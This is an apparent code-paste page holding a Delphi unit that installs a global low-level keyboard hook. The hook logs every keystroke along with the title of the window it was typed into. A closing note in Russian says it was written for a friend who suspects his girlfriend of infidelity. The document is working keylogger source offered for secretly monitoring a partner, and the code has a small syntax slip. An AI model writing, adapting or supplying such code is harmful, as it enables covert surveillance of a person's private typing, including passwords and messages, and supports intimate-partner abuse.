- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
unit KHook;
interface
uses Windows, SysUtils, Messages;
const
  WH_KEYBOARD_LL = 13;
  LLKHF_UP = $0080;
type
  TKbdHookEvent=procedure (S:WideString);
type
  PKbdDllHookStruct = ^TKbdDllHookStruct;
  TKbdDllHookStruct = record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: PDWORD;
  end;
  KBDLLHOOKSTRUCT = TKbdDllHookStruct;
implementation
var
  KbdProc:TKbdHookEvent=nil;
  Hook:HHOOk;
  WinTitle:WideString='';
function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
var
  KeyName:WideString;
  CurrWinTitle:WideString;
  KeyState : TKeyboardState;
  hklLayout:HKL;
  FW:HWND;
begin
   try
    if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
    begin
      FW:=GetForegroundWindow;
      hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
      GetKeyboardState(KeyState);
      SetLength(CurrWinTitle, 1000);
      SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
      with PKbdDllHookStruct(LParam)^ do
      case vkCode of
        VK_BACK:     KeyName := '[BackSpace]';
        VK_TAB:      KeyName := '[Tab]';
        VK_CAPITAL:  KeyName := '[CapsLock]';
        VK_RETURN:   KeyName := '[Enter]';
        VK_ESCAPE:   KeyName := '[Esc]';
        VK_CANCEL:   KeyName :=  '[Cancel]';
        VK_F1:       KeyName := '[F1]';
			{...}
        VK_HELP:     KeyName := '[Help]';
      else
        SetLength(KeyName,1);
        KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
        KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
        if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
        KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
      end;
      if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
      if WinTitle='' then
      begin
        WinTitle:=CurrWinTitle;
        KeyName:=CurrWinTitle+' {'#13#10+KeyName;
      end
      else if WinTitle <> CurrWinTitle then
      begin
        WinTitle:=CurrWinTitle;
        KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
      end;
      KbdProc(KeyName);
    end;
  finally
     Result := CallNextHookEx(Hook,nCode,wParam,lParam);
  end;
end;
function SetHook(lpCallBack:TKbdHookEvent):Boolean;
begin
  if Assigned(lpCallBack) then
  KbdProc:=lpCallBack;
  Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
  Result:=(Hook <> INVALID_HANDLE_VALUE);
end;
function RemoveHook:Boolean;
begin
   Result:=UnHookWindowsHookEx(Hook);
end;
  exports SetHook,
   RemoveHook;
end.
                                     
        
            Клавиатурный сексот на Delphi. 
Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.